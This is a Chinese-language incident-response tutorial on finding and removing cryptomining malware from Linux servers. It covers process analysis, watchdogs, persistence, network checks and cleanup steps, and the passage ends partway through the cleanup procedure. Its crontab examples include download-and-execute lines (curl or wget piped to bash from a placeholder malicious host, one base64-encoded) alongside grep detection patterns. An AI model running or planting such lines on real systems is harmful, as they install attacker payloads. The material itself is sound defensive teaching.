1. 1. 挖矿病毒应急响应
    1. 1.1. 1. 挖矿病毒概述
      1. 1.1.1. 1.1 加密货币挖矿原理(简要)
      2. 1.1.2. 1.2 为什么服务器是挖矿攻击的主要目标
      3. 1.1.3. 1.3 常见挖矿程序
      4. 1.1.4. 1.4 常见感染途径
    2. 1.2. 2. 症状识别
      1. 1.2.1. 2.1 CPU 使用率异常
      2. 1.2.2. 2.2 异常进程名称
      3. 1.2.3. 2.3 异常网络连接
      4. 1.2.4. 2.4 Stratum 协议特征
      5. 1.2.5. 2.5 系统响应缓慢
    3. 1.3. 3. 进程分析(重点)
      1. 1.3.1. 3.1 发现挖矿进程
        1. 1.3.1.1. 3.1.1 通过 CPU 使用率定位
        2. 1.3.1.2. 3.1.2 确认进程身份
        3. 1.3.1.3. 3.1.3 被删除但仍运行的进程
        4. 1.3.1.4. 3.1.4 进程名伪装检测
      2. 1.3.2. 3.2 Watchdog 守护进程(重要)
        1. 1.3.2.1. 3.2.1 什么是 Watchdog
        2. 1.3.2.2. 3.2.2 如何发现 Watchdog
        3. 1.3.2.3. 3.2.3 常见 Watchdog 特征
      3. 1.3.3. 3.3 挖矿配置提取
    4. 1.4. 4. 持久化排查
      1. 1.4.1. 4.1 Crontab 排查(最常见)
        1. 1.4.1.1. 4.1.1 下载执行型
        2. 1.4.1.2. 4.1.2 Base64 编码型
        3. 1.4.1.3. 4.1.3 多层嵌套型
      2. 1.4.2. 4.2 SSH 公钥排查
      3. 1.4.3. 4.3 Systemd 服务排查
      4. 1.4.4. 4.4 启动脚本排查
      5. 1.4.5. 4.5 LD_PRELOAD 与 Rootkit
    5. 1.5. 5. 网络分析
      1. 1.5.1. 5.1 外连矿池 IP/端口检测
      2. 1.5.2. 5.2 DNS 查询异常
      3. 1.5.3. 5.3 系统配置篡改
      4. 1.5.4. 5.4 文件属性锁定
    6. 1.6. 6. 完整处置流程(重点)
      1. 1.6.1. 6.1 流程总览
      2. 1.6.2. 6.2 详细步骤
        1. 1.6.2.1. 步骤 1:隔离主机
        2. 1.6.2.2. 步骤 2:取证保存
        3. 1.6.2.3. 步骤 3:杀 Watchdog 进程
        4. 1.6.2.4. 步骤 4:杀 Miner 进程
        5. 1.6.2.5. 步骤 5:清除 Crontab
        6. 1.6.2.6. 步骤 6:清除恶意文件
        7. 1.6.2.7. 步骤 7:清除 SSH 公钥后门
        8. 1.6.2.8. 步骤 8:恢复被修改的系统配置
        9. 1.6.2.9. 步骤 9:排查入侵入口并修复漏洞
        10. 1.6.2.10. 步骤 10:监控观察
    7. 1.7. 7. 常见挖矿家族特征表
      1. 1.7.1. 各家族特殊行为
    8. 1.8. 8. 实战练习
      1. 1.8.1. 8.1 配套实验环境
      2. 1.8.2. 8.2 练习场景
      3. 1.8.3. 8.3 排查 Checklist

Linux应急响应 - 14.5 挖矿病毒应急

挖矿病毒应急响应

挖矿病毒是当前 Linux 服务器上最常见的安全事件之一。本章从症状识别、进程分析到完整处置流程,提供实战导向的排查指南

关联章节:05-进程与网络分析07-计划任务审计13-Redis未授权访问应急

1. 挖矿病毒概述

1.1 加密货币挖矿原理(简要)

加密货币(如 Monero/XMR)通过”挖矿”过程产生——计算机消耗算力解决数学难题,获得区块奖励

挖矿的核心是 消耗 CPU/GPU 算力来进行哈希计算

攻击者不用自己的设备挖矿,而是入侵他人服务器,利用受害者的算力为自己赚钱

为什么是 Monero(门罗币)?

Monero 使用 RandomX 算法,专门针对 CPU 优化,不依赖 GPU

Monero 具有强匿名性,交易不可追踪

非常适合在服务器上运行——服务器通常没有 GPU 但有多核 CPU

挖矿程序通过 Stratum 协议 与矿池通信

矿池分配计算任务

挖矿程序完成计算后提交结果

收益按照算力贡献分配

1.2 为什么服务器是挖矿攻击的主要目标

服务器通常 7x24 小时在线,算力稳定

多核 CPU 提供高算力

网络带宽充足

很多服务器安全防护薄弱(弱密码、未打补丁、配置不当)

电费由受害者承担——攻击者的”零成本挖矿”

云服务器尤其受青睐——按量付费模式下受害者还要承担高额账单

1.3 常见挖矿程序

程序名 描述 特点
XMRig 最流行的开源 Monero 挖矿程序 合法软件被滥用,高性能
kdevtmpfsi 常见挖矿木马名称 伪装成系统进程
kinsing kdevtmpfsi 的 watchdog 负责守护和重新下载矿机
xmr-stak 另一个开源挖矿程序 支持 CPU/GPU
c3pool_miner 绑定 c3pool 矿池的矿机 预配置矿池
xmrig-notls XMRig 去 TLS 版本 减小体积

攻击者经常将挖矿程序重命名为以下名称以逃避检测:

[kworker/0:0][migration/0]——伪装成内核线程

sshdcrondhttpd——伪装成系统服务

.sshd...——使用隐藏文件名

随机字符串——a3f8b2c1

1.4 常见感染途径

感染途径 占比(估计) 说明
Redis 未授权访问 ~30% 详见 13-Redis未授权访问应急
SSH 暴力破解 ~25% 弱密码导致
Web 应用漏洞 ~20% Struts2, WebLogic, ThinkPHP 等
Docker 未授权访问 ~10% Docker API 暴露在公网(2375 端口)
容器逃逸 ~5% 从容器逃逸到宿主机
其他 ~10% Jenkins, Confluence, Hadoop 等组件漏洞

2. 症状识别

2.1 CPU 使用率异常

这是最明显、最常见的第一个告警信号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看 CPU 使用率最高的进程
top -bn1 -o %CPU | head -20

# 更详细的视图
ps aux --sort=-%cpu | head -20

# 查看每个 CPU 核心的使用率
mpstat -P ALL 1 3

# 查看 CPU 使用率变化趋势
sar -u 1 10

# 如果安装了 htop(推荐)
htop

正常服务器 vs 挖矿感染服务器

指标 正常 感染挖矿
CPU 使用率 波动,通常 < 50% 持续 90-100%
CPU 使用模式 跟随业务波动 恒定高位
系统负载(load average) 合理范围 远超 CPU 核数
用户态 CPU(%us) 正常 极高

注意:部分高级挖矿木马会限制 CPU 使用率(如 70-80%),以降低被发现的概率

2.2 异常进程名称

常见的挖矿进程名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 直接查找已知挖矿进程名
ps aux | grep -iE "xmrig|kdevtmpfsi|kinsing|xmr-stak|minerd|cryptonight|stratum|c3pool|minergate"

# 查找伪装成内核线程的进程
# 真正的内核线程 PPID 是 2(kthreadd),且 /proc/PID/exe 指向空
# 伪装的"内核线程"有实际的可执行文件
ps aux | grep -E "^\[.*\]$" | while read line; do
pid=$(echo "$line" | awk '{print $2}')
exe=$(readlink /proc/$pid/exe 2>/dev/null)
if [ -n "$exe" ]; then
echo "[!] 可疑伪装进程: PID=$pid EXE=$exe CMD=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')"
fi
done

# 查找与进程名不匹配的可执行文件
# 例如进程名是 sshd 但 exe 指向 /tmp/xmrig
for pid in $(ls /proc/ | grep -E "^[0-9]+$"); do
cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
exe=$(readlink /proc/$pid/exe 2>/dev/null)
if [ -n "$exe" ] && [ -n "$cmdline" ]; then
cmd_base=$(basename "$exe" 2>/dev/null)
if echo "$cmdline" | grep -qE "sshd|crond|httpd|nginx" && ! echo "$exe" | grep -qE "sshd|crond|httpd|nginx"; then
echo "[!] 进程名与可执行文件不匹配: PID=$pid CMD=$cmdline EXE=$exe"
fi
fi
done 2>/dev/null

2.3 异常网络连接

挖矿程序必须连接矿池才能工作,网络连接是重要的检测指标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查看所有外连连接
ss -tnp | grep ESTAB
netstat -tnp | grep ESTABLISHED

# 查找连接到矿池常用端口的连接
ss -tnp | grep -E ":(3333|4444|5555|7777|8888|14444|14433|45700) "

# 查看某个可疑进程的网络连接
ss -tnp | grep "pid=<PID>"

# 更全面的外连分析
ss -tnp state established | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20

# 使用 lsof 查看进程的网络连接
lsof -i -P -n | grep ESTABLISHED

矿池常用端口

端口 用途 说明
3333 Stratum 标准端口 最常见
4444 Stratum 备用端口 常见
5555 Stratum 高难度端口 高算力矿工
7777 备用端口 部分矿池使用
8888 备用端口 部分矿池使用
14444 TLS 加密 Stratum 更隐蔽
14433 TLS 加密 Stratum 更隐蔽
45700 c3pool 默认端口 c3pool 矿池

2.4 Stratum 协议特征

Stratum 是挖矿通信的标准协议,基于 JSON-RPC

典型的 Stratum 通信内容:

1
2
3
{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"钱包地址","pass":"x","agent":"XMRig/6.x"}}
{"id":1,"jsonrpc":"2.0","method":"job","params":{"blob":"...","job_id":"...","target":"..."}}
{"id":2,"jsonrpc":"2.0","method":"submit","params":{"id":"...","job_id":"...","nonce":"...","result":"..."}}

使用 tcpdump 抓取 Stratum 流量:

1
2
3
4
5
6
7
8
9
10
# 抓取矿池端口流量
tcpdump -i eth0 -A port 3333 or port 4444 or port 5555 2>/dev/null | head -50

# 查找 Stratum 协议特征
tcpdump -i eth0 -A -c 100 | grep -E "stratum|mining\.|login|job|submit"

# 抓取并保存 pcap 文件供后续分析
tcpdump -i eth0 -w /tmp/mining_traffic.pcap port 3333 or port 4444 or port 5555 &
# 10 秒后停止
sleep 10 && kill %1

2.5 系统响应缓慢

除了 CPU 之外,挖矿还可能导致以下症状:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 检查系统负载
uptime
# load average 远超 CPU 核数

# 检查内存使用
free -h

# 检查 IO 等待
iostat -x 1 3

# 检查进程状态分布
ps aux | awk '{print $8}' | sort | uniq -c | sort -rn
# 如果大量进程处于 D (不可中断睡眠) 状态,说明 IO 瓶颈
# 如果大量进程处于 R (运行) 状态,说明 CPU 争抢严重

3. 进程分析(重点)

3.1 发现挖矿进程

3.1.1 通过 CPU 使用率定位

1
2
3
4
5
6
7
8
# 方法1:top 实时查看
top -bn1 -o %CPU | head -20

# 方法2:ps 按 CPU 排序
ps aux --sort=-%cpu | head -10

# 方法3:找出 CPU 使用率超过 50% 的进程
ps aux | awk '$3 > 50 {print $0}'

3.1.2 确认进程身份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 找到可疑进程 PID 后,进行深入分析
PID=<可疑进程PID>

# 1. 查看进程的真实可执行文件
ls -la /proc/$PID/exe
# 如果显示 (deleted) 说明原始文件已被删除但进程仍在运行
# 例如: /proc/12345/exe -> /tmp/.X11-unix/xmrig (deleted)

# 2. 查看进程的完整命令行
cat /proc/$PID/cmdline | tr '\0' ' '
# 可能看到矿池地址和钱包地址
# 例如: ./xmrig -o pool.minexmr.com:4444 -u 钱包地址 -p x

# 3. 查看进程的工作目录
ls -la /proc/$PID/cwd

# 4. 查看进程的环境变量
cat /proc/$PID/environ | tr '\0' '\n'

# 5. 查看进程打开的文件
ls -la /proc/$PID/fd/
lsof -p $PID

# 6. 查看进程的网络连接
ls -la /proc/$PID/net/tcp
ss -tnp | grep "pid=$PID"

# 7. 查看进程的内存映射(可能包含配置信息)
cat /proc/$PID/maps

# 8. 查看进程树——找到父进程
ps auxef | grep -A5 -B5 $PID
pstree -p $PID

3.1.3 被删除但仍运行的进程

攻击者经常在运行挖矿程序后删除磁盘上的文件,以逃避检测

但在 Linux 中,只要进程还在运行,文件句柄就不会释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 查找所有 exe 链接指向 (deleted) 的进程
ls -la /proc/*/exe 2>/dev/null | grep deleted

# 更详细的输出
for pid in $(ls /proc/ | grep -E "^[0-9]+$"); do
exe=$(readlink /proc/$pid/exe 2>/dev/null)
if echo "$exe" | grep -q "deleted"; then
user=$(ps -o user= -p $pid 2>/dev/null)
cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
cpu=$(ps -o %cpu= -p $pid 2>/dev/null)
echo "[!] PID=$pid USER=$user CPU=$cpu% EXE=$exe CMD=$cmd"
fi
done

# 恢复已删除的可执行文件(用于取证)
cp /proc/$PID/exe /tmp/evidence_miner_binary
file /tmp/evidence_miner_binary
md5sum /tmp/evidence_miner_binary
strings /tmp/evidence_miner_binary | grep -iE "xmrig|stratum|mining|monero|pool"

3.1.4 进程名伪装检测

1
2
3
4
5
6
7
8
9
10
11
12
13
# 对比进程名(comm)和实际可执行文件(exe)
for pid in $(ls /proc/ | grep -E "^[0-9]+$"); do
comm=$(cat /proc/$pid/comm 2>/dev/null)
exe=$(readlink /proc/$pid/exe 2>/dev/null)
if [ -n "$comm" ] && [ -n "$exe" ]; then
exe_base=$(basename "$exe" 2>/dev/null)
# 排除内核线程和正常进程
if [ "$comm" != "$exe_base" ] && ! echo "$exe" | grep -qE "^$|deleted|python|perl|java|node|ruby|bash|sh|dash"; then
cpu=$(ps -o %cpu= -p $pid 2>/dev/null)
echo "PID=$pid COMM=$comm EXE=$exe CPU=${cpu}%"
fi
fi
done 2>/dev/null

3.2 Watchdog 守护进程(重要)

3.2.1 什么是 Watchdog

Watchdog(守护进程/看门狗)是挖矿木马的”保镖”

它的职责是:

  1. 监控挖矿进程是否存活

  2. 如果矿机被杀,立即重新下载并启动

  3. 定期从 C2 服务器检查更新

  4. 清除竞争对手的挖矿程序

  5. 修改系统配置确保持久化

如果先杀矿机再杀 watchdog,矿机会在几秒内被重新拉起

正确顺序:先杀 watchdog → 再杀 miner

3.2.2 如何发现 Watchdog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 1. 查看挖矿进程的父进程
PID=<矿机PID>
PPID=$(ps -o ppid= -p $PID | tr -d ' ')
echo "矿机父进程 PID: $PPID"
ps aux | grep $PPID
cat /proc/$PPID/cmdline | tr '\0' ' '
readlink /proc/$PPID/exe

# 2. 查看完整进程树
pstree -p | grep -E "xmrig|kdevtmpfsi|kinsing|mine"
# 典型结构:
# ├─kinsing(1234)───kdevtmpfsi(1235)
# 或
# ├─bash(1234)───xmrig(1235)

# 3. 查找与矿机相关的所有进程
ps auxef | grep -B5 $PID

# 4. 查找可疑的 bash/sh 进程
# watchdog 经常以 shell 脚本形式存在
ps aux | grep -E "bash|sh" | grep -v grep | while read line; do
pid=$(echo "$line" | awk '{print $2}')
cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
if echo "$cmdline" | grep -qiE "curl|wget|while|sleep|kill|mining|miner"; then
echo "[!] 可疑 watchdog: $line"
echo " 命令行: $cmdline"
fi
done

# 5. 检查定期运行的脚本
# watchdog 常通过 while+sleep 循环实现
ps aux | grep -E "sleep [0-9]" | grep -v grep

3.2.3 常见 Watchdog 特征

家族 Watchdog 进程名 矿机进程名 关系
kinsing kinsing kdevtmpfsi 父子进程
TeamTNT tntrecht xmrig 守护脚本
WatchDog watchdog 随机名 while 循环
Outlaw rsync [kswapd0] 多层守护

3.3 挖矿配置提取

从挖矿进程中提取配置信息,有助于确定攻击者身份和溯源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PID=<矿机PID>

# 1. 从命令行参数提取矿池和钱包地址
cat /proc/$PID/cmdline | tr '\0' '\n'
# 可能看到类似:
# -o stratum+tcp://pool.minexmr.com:4444
# -u 4ABcd...(Monero 钱包地址)

# 2. 从配置文件提取
# XMRig 通常使用 config.json 配置文件
lsof -p $PID | grep -E "\.json|\.conf|config"

# 在可疑目录中查找配置文件
find /tmp/ /dev/shm/ /var/tmp/ /root/ -name "config.json" -exec cat {} \; 2>/dev/null
find /tmp/ /dev/shm/ /var/tmp/ /root/ -name "*.json" -exec grep -l "pool\|wallet\|stratum" {} \; 2>/dev/null

# 3. 从进程内存中提取(高级)
# 使用 gdb 或 /proc/PID/mem 读取进程内存
strings /proc/$PID/cmdline

# 查找内存中的矿池地址
grep -ao "stratum+tcp://[^ ]*" /proc/$PID/cmdline 2>/dev/null
grep -ao "[0-9a-zA-Z]\{95\}" /proc/$PID/maps 2>/dev/null # Monero 地址长度

# 4. 从网络流量提取
tcpdump -i any -A port 3333 or port 4444 2>/dev/null | grep -oE '"login":"[^"]*"'

4. 持久化排查

4.1 Crontab 排查(最常见)

Crontab 是挖矿木马最常用的持久化方式,参考 07-计划任务审计

4.1.1 下载执行型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 最经典的形式
# */5 * * * * curl -s http://恶意IP/setup.sh | bash
# */5 * * * * wget -q -O - http://恶意IP/setup.sh | bash

# 检查所有用户的 crontab
for user in $(cut -d: -f1 /etc/passwd); do
cron=$(crontab -l -u "$user" 2>/dev/null)
if [ -n "$cron" ]; then
echo "===== $user ====="
echo "$cron"
if echo "$cron" | grep -qiE "curl|wget|\.sh|bash|python|perl"; then
echo "[!] 发现可疑计划任务!"
fi
fi
done

# 检查系统级 crontab
cat /etc/crontab
ls -la /etc/cron.d/
for f in /etc/cron.d/*; do
echo "=== $f ==="
cat "$f"
done

# 检查 cron.*ly 目录
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

4.1.2 Base64 编码型

1
2
3
4
5
6
7
8
9
# 攻击者使用 base64 编码来逃避检测
# */5 * * * * echo "Y3VybCBodHRwOi8vZXZpbC5jb20vc2V0dXAuc2ggfCBiYXNo" | base64 -d | bash

# 检测 base64 编码的 crontab
grep -rn "base64" /var/spool/cron/ /var/spool/cron/crontabs/ /etc/cron* 2>/dev/null

# 解码可疑内容
echo "Y3VybCBodHRwOi8vZXZpbC5jb20vc2V0dXAuc2ggfCBiYXNo" | base64 -d
# 输出: curl http://evil.com/setup.sh | bash

4.1.3 多层嵌套型

1
2
3
4
5
6
7
8
9
10
11
12
13
# 高级攻击者使用多层编码和嵌套
# 例如: crontab 下载脚本 A → 脚本 A 下载脚本 B → 脚本 B 安装矿机 + 写入新的 crontab

# 排查思路:
# 1. 找到 crontab 中的下载 URL
# 2. 下载脚本内容进行分析
# 3. 递归追踪所有层级

# 如果 URL 仍然可访问
curl -s "http://恶意URL/setup.sh" | head -50

# 查找本地缓存的脚本
find /tmp/ /dev/shm/ /var/tmp/ -name "*.sh" -exec ls -la {} \; -exec head -20 {} \; 2>/dev/null

4.2 SSH 公钥排查

详见 16-SSH-authorized_keys后门

1
2
3
4
5
# 检查所有用户的 authorized_keys
find / -name "authorized_keys" -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null

# 提取所有公钥指纹,与已知合法指纹对比
find / -name "authorized_keys" -exec ssh-keygen -l -f {} \; 2>/dev/null

4.3 Systemd 服务排查

部分挖矿木马会创建 systemd 服务实现开机启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 检查所有自定义的 systemd 服务
ls -lt /etc/systemd/system/*.service
ls -lt /usr/lib/systemd/system/*.service
ls -lt ~/.config/systemd/user/*.service 2>/dev/null

# 查找可疑的服务文件
grep -rl "ExecStart.*tmp\|ExecStart.*dev/shm\|ExecStart.*xmr\|ExecStart.*mine" /etc/systemd/system/ /usr/lib/systemd/system/ 2>/dev/null

# 查看最近创建的服务
find /etc/systemd/system/ -name "*.service" -mtime -30 -ls 2>/dev/null

# 检查服务状态
systemctl list-units --type=service --state=running | grep -vE "systemd|dbus|cron|ssh|network|rsyslog|udev"

# 查看可疑服务的详细信息
systemctl cat <service_name>
systemctl status <service_name>

4.4 启动脚本排查

挖矿木马可能修改启动脚本实现持久化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 检查 .bashrc .bash_profile .profile 等
for user_home in /home/* /root; do
for rc_file in .bashrc .bash_profile .profile; do
target="$user_home/$rc_file"
if [ -f "$target" ]; then
suspicious=$(grep -nE "curl|wget|python|perl|/tmp/|/dev/shm/|base64|nohup" "$target" 2>/dev/null)
if [ -n "$suspicious" ]; then
echo "[!] 可疑内容 in $target:"
echo "$suspicious"
fi
fi
done
done

# 检查 /etc/profile.d/ 目录
ls -la /etc/profile.d/
for f in /etc/profile.d/*.sh; do
if grep -qiE "curl|wget|mine|xmr|tmp|shm" "$f" 2>/dev/null; then
echo "[!] 可疑脚本: $f"
cat "$f"
fi
done

# 检查 /etc/rc.local
cat /etc/rc.local 2>/dev/null

# 检查 init.d 脚本
ls -lt /etc/init.d/ | head -20
find /etc/init.d/ -mtime -30 -ls 2>/dev/null

4.5 LD_PRELOAD 与 Rootkit

高级挖矿木马可能使用 LD_PRELOAD 或 rootkit 来隐藏进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 检查 LD_PRELOAD
echo $LD_PRELOAD
cat /etc/ld.so.preload 2>/dev/null

# 如果存在可疑的 preload 库
# 它可能 hook 了 readdir, fopen 等函数来隐藏文件和进程

# 使用静态编译的工具绑过 LD_PRELOAD
# 例如使用 busybox
busybox ps aux
busybox ls -la /tmp/
busybox netstat -tnp

# 检查 /proc 中是否有隐藏进程
# 对比 ps 输出和 /proc 目录
diff <(ps aux | awk '{print $2}' | sort -n) <(ls /proc/ | grep -E "^[0-9]+$" | sort -n)
# 如果 /proc 中有但 ps 看不到的 PID,可能被 rootkit 隐藏

5. 网络分析

5.1 外连矿池 IP/端口检测

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查找所有外连连接
ss -tnp state established '( dport = :3333 or dport = :4444 or dport = :5555 or dport = :7777 or dport = :8888 or dport = :14444 or dport = :14433 or dport = :45700 )'

# 查看所有非标准端口的外连
ss -tnp state established | awk '{print $5}' | grep -vE ":(80|443|53|22|25|110|143|993|995|3306|5432|6379|27017) " | sort | uniq -c | sort -rn

# 查找特定进程的网络连接
PID=<可疑PID>
lsof -p $PID -i -P -n

# DNS 查询矿池域名
nslookup pool.minexmr.com 2>/dev/null
nslookup xmr.pool.minergate.com 2>/dev/null

5.2 DNS 查询异常

1
2
3
4
5
6
7
8
9
10
11
# 检查 DNS 缓存(如果有 nscd 或 systemd-resolved)
# systemd-resolved
resolvectl statistics 2>/dev/null
journalctl -u systemd-resolved | grep -iE "pool|mine|xmr" | tail -20

# 检查 /etc/resolv.conf 是否被篡改
cat /etc/resolv.conf
# 攻击者可能将 DNS 服务器改为恶意 DNS 来重定向安全软件的更新请求

# 实时监控 DNS 查询
tcpdump -i any port 53 -l 2>/dev/null | grep -iE "pool|mine|xmr|stratum"

5.3 系统配置篡改

挖矿木马常修改系统配置来保护自己

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 1. 检查 /etc/hosts 是否被修改
cat /etc/hosts
# 攻击者可能添加类似以下条目来屏蔽安全软件更新
# 0.0.0.0 security.ubuntu.com
# 0.0.0.0 mirrors.aliyun.com
# 或屏蔽竞争对手的矿池
# 0.0.0.0 pool.minexmr.com

# 检查文件是否被最近修改
stat /etc/hosts

# 2. 检查 /etc/resolv.conf
cat /etc/resolv.conf
stat /etc/resolv.conf

# 3. 检查 iptables 规则
iptables -L -n -v
# 攻击者可能添加规则来:
# - 屏蔽竞争矿机的矿池连接
# - 阻止安全扫描
# - 允许自己的 C2 通信

# 查看 iptables 规则中的可疑条目
iptables -L -n | grep -E "DROP.*dport (3333|4444|5555)"
# 如果看到屏蔽矿池端口的规则,说明攻击者在排斥竞争对手

# 4. 检查是否修改了系统工具
# 攻击者可能替换 top, ps, netstat 等工具来隐藏挖矿进程
file $(which top) $(which ps) $(which netstat) $(which ss)
# 使用 rpm/dpkg 验证
# CentOS
rpm -V procps-ng net-tools 2>/dev/null
# Ubuntu
dpkg -V procps net-tools 2>/dev/null

5.4 文件属性锁定

部分挖矿木马使用 chattr +i 锁定文件,防止被删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 检查 crontab 文件是否被锁定
lsattr /var/spool/cron/root 2>/dev/null
lsattr /var/spool/cron/crontabs/root 2>/dev/null

# 检查其他可能被锁定的文件
lsattr /etc/crontab 2>/dev/null
lsattr /etc/hosts 2>/dev/null
lsattr /etc/resolv.conf 2>/dev/null
lsattr /root/.ssh/authorized_keys 2>/dev/null

# 如果看到 'i' 标志(immutable),需要先解锁再修改
# ----i--------e-- /var/spool/cron/root
chattr -i /var/spool/cron/root
chattr -i /etc/hosts
chattr -i /root/.ssh/authorized_keys

6. 完整处置流程(重点)

6.1 流程总览

完整的挖矿病毒处置流程包含 10 个步骤,必须按顺序执行

1
2
3
4
5
6
7
8
9
10
1. 隔离主机 ─────────► 防止扩散
2. 取证保存 ─────────► 保存证据
3. 杀 watchdog ──────► 先杀守护进程
4. 杀 miner ─────────► 再杀矿机
5. 清除 crontab ─────► 去除持久化
6. 清除恶意文件 ──────► 删除木马文件
7. 清除 SSH 后门 ────► 删除恶意公钥
8. 恢复系统配置 ──────► 恢复 hosts/DNS/iptables
9. 修复入侵入口 ──────► 封堵漏洞
10. 监控观察 ─────────► 确认清除干净

6.2 详细步骤

步骤 1:隔离主机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 方案 A:完全断网(最安全)
# 拔掉网线或在管理平台关闭网卡
# 如果是云服务器,通过安全组限制所有入站出站流量

# 方案 B:限制网络(保留管理通道)
# 仅允许管理 IP 通过 SSH 连接
iptables -F
iptables -A INPUT -s <管理IP> -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -j DROP
iptables -A OUTPUT -d <管理IP> -p tcp --sport 22 -j ACCEPT
iptables -A OUTPUT -j DROP

# 方案 C:仅切断矿池连接(最小影响)
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 4444 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 14444 -j DROP

步骤 2:取证保存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# 在任何清理操作之前,先保存证据!
EVIDENCE_DIR="/tmp/evidence_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE_DIR"

# 保存进程列表
ps auxef > "$EVIDENCE_DIR/ps_auxef.txt"
top -bn1 > "$EVIDENCE_DIR/top.txt"

# 保存网络连接
ss -tnpea > "$EVIDENCE_DIR/ss_tnpea.txt"
ss -unlpea > "$EVIDENCE_DIR/ss_unlpea.txt"

# 保存 crontab
for user in $(cut -d: -f1 /etc/passwd); do
crontab -l -u "$user" > "$EVIDENCE_DIR/crontab_${user}.txt" 2>/dev/null
done
cp /etc/crontab "$EVIDENCE_DIR/etc_crontab.txt"
cp -r /etc/cron.d/ "$EVIDENCE_DIR/cron.d/" 2>/dev/null

# 保存系统配置
cp /etc/hosts "$EVIDENCE_DIR/hosts.txt"
cp /etc/resolv.conf "$EVIDENCE_DIR/resolv.conf.txt"
iptables -L -n -v > "$EVIDENCE_DIR/iptables.txt"

# 保存可疑文件
# 如果矿机进程 PID 已知
PID=<矿机PID>
cp /proc/$PID/exe "$EVIDENCE_DIR/miner_binary" 2>/dev/null
cat /proc/$PID/cmdline > "$EVIDENCE_DIR/miner_cmdline.txt" 2>/dev/null
cat /proc/$PID/environ > "$EVIDENCE_DIR/miner_environ.txt" 2>/dev/null

# 保存 authorized_keys
cp /root/.ssh/authorized_keys "$EVIDENCE_DIR/authorized_keys.txt" 2>/dev/null

# 保存可疑目录
ls -laR /tmp/ > "$EVIDENCE_DIR/tmp_listing.txt"
ls -laR /dev/shm/ > "$EVIDENCE_DIR/devshm_listing.txt"

echo "证据已保存到 $EVIDENCE_DIR"

步骤 3:杀 Watchdog 进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 首先找到 watchdog 进程
# 方法1:通过矿机父进程追溯
PID_MINER=<矿机PID>
PPID=$(ps -o ppid= -p $PID_MINER | tr -d ' ')

# 方法2:搜索已知的 watchdog 进程名
ps aux | grep -iE "kinsing|watchdog|guard|daemon|monitor" | grep -v grep

# 方法3:查找可疑的 shell 循环
ps aux | grep -E "while.*sleep|loop" | grep -v grep

# 杀掉 watchdog
kill -9 $PPID
# 或根据进程名
pkill -9 -f "kinsing"
pkill -9 -f "watchdog"

# 确认 watchdog 已被杀死
ps aux | grep -iE "kinsing|watchdog" | grep -v grep

步骤 4:杀 Miner 进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 在 watchdog 被杀后,立即杀矿机
kill -9 $PID_MINER

# 或按进程名杀
pkill -9 -f "xmrig"
pkill -9 -f "kdevtmpfsi"
pkill -9 -f "xmr-stak"
pkill -9 -f "minerd"

# 确认矿机已停止
ps aux | grep -iE "xmrig|kdevtmpfsi|mine" | grep -v grep

# 检查 CPU 使用率是否恢复正常
top -bn1 -o %CPU | head -10

步骤 5:清除 Crontab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 先解锁可能被 chattr 锁定的文件
chattr -i /var/spool/cron/root 2>/dev/null
chattr -i /var/spool/cron/crontabs/root 2>/dev/null
chattr -i /etc/crontab 2>/dev/null
chattr -R -i /etc/cron.d/ 2>/dev/null

# 清除恶意 crontab 内容
# 注意:不要用 crontab -r 清空全部,先检查是否有合法条目
crontab -l -u root
# 如果全部是恶意的
crontab -r -u root
# 如果部分是合法的,手动编辑移除恶意行
crontab -e -u root

# 检查并清理 /etc/cron.d/ 中的恶意文件
ls -la /etc/cron.d/
# 删除可疑文件
rm /etc/cron.d/<malicious_file>

# 检查其他用户
for user in $(cut -d: -f1 /etc/passwd); do
cron=$(crontab -l -u "$user" 2>/dev/null)
if echo "$cron" | grep -qiE "curl|wget|mine|xmr|base64"; then
echo "[!] 清除 $user 的恶意 crontab"
crontab -r -u "$user"
fi
done

步骤 6:清除恶意文件

1
2
